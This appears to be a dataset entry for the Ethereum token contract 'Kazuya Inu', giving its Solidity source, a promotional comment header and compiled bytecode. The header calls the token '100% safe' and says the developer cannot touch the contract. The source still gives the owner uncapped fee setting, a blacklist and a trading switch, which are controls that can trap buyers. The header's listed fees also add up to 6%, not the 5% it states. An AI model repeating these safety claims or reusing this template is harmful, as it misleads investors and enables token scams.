1f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c6da262fc8326dfd7f50b73e57ab73f801ed0e4449db71f2e22ff113ad6aa49064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,270 |
0x3cbfc683abf93ee994da1b63beec169f4f9d67e7
|
/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
/**
Welcome to Kazuya Inu - The first ERC20 Token with a Tekken ESPORT releated Utility.
Stealth Launch
Join our awesome community, hold KAZUYA and earn passive reflection while contributing for the Kazuya Inu WC2K22.
Liquidity Locked for 1 Month at launch and ownership is renounced, this means it is 100% safe and that the developer cannot in any way act on the contract functions.
The tournament platform will be https://battlefy.com/, there will be different sessions and dates for different plarforms TBA in future on our social channels.
NO TEAM TOKENS
1,000,000,000,000 KAZUYA Total Supply
Buy and Sell Fees: 5%
1% Development
2% Marketing
1% Reflection
2% Kazuya Inu - Tekken - World Cup funding
https://twitter.com/KazuyaInu
https://t.me/KazuyaInu
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Kazuya is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kazuya Inu";
string private constant _symbol = "KAZUYA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x6f80917A644f4CfE4D8c213fC73Ef5BFa1ae5b59);
address payable private _marketingAddress = payable(0x8B3E9b0377eb32A7e94eC5BB7e9CF127aac02d76);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d70565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e41565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e99565b61087b565b6040516102649190612ef4565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6e565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f98565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fb3565b6108d0565b6040516102f79190612ef4565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b6040516103229190612f98565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613022565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b604051610378919061304c565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613067565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130c0565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613067565b610c51565b60405161041e9190612f98565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ed565b610df5565b005b34801561047357600080fd5b5061047c610e94565b6040516104899190612f98565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613067565b610e9a565b6040516104c69190612f98565b60405180910390f35b3480156104db57600080fd5b506104e4610eb2565b6040516104f1919061304c565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130c0565b610edb565b005b34801561052f57600080fd5b50610538610f8d565b6040516105459190612f98565b60405180910390f35b34801561055a57600080fd5b50610563610f93565b6040516105709190612e41565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130ed565b610fd0565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061311a565b61106f565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e99565b611126565b6040516105ff9190612ef4565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613067565b611144565b60405161063c9190612ef4565b60405180910390f35b34801561065157600080fd5b5061065a611164565b005b34801561066857600080fd5b50610683600480360381019061067e91906131dc565b61123d565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061323c565b611377565b6040516106b99190612f98565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130ed565b6113fe565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613067565b61149d565b005b61071c61165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c8565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613346565b9150506107ac565b5050565b60606040518060400160405280600a81526020017f4b617a75796120496e7500000000000000000000000000000000000000000000815250905090565b600061088f61088861165f565b8484611667565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611832565b61099e846108e961165f565b61099985604051806060016040528060288152602001613d8760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f61165f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b79092919063ffffffff16565b611667565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e661165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906132c8565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad661165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a906132c8565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc161165f565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f61165f565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e8161211b565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612187565b9050919050565b610caa61165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e906132c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd61165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e81906132c8565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee361165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f67906132c8565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f4b415a5559410000000000000000000000000000000000000000000000000000815250905090565b610fd861165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906132c8565b60405180910390fd5b8060188190555050565b61107761165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906132c8565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113a61113361165f565b8484611832565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a561165f565b73ffffffffffffffffffffffffffffffffffffffff16148061121b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120361165f565b73ffffffffffffffffffffffffffffffffffffffff16145b61122457600080fd5b600061122f30610c51565b905061123a816121f5565b50565b61124561165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c9906132c8565b60405180910390fd5b60005b838390508110156113715781600560008686858181106112f8576112f76132e8565b5b905060200201602081019061130d9190613067565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136990613346565b9150506112d5565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140661165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a906132c8565b60405180910390fd5b8060178190555050565b6114a561165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611532576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611529906132c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159990613401565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffff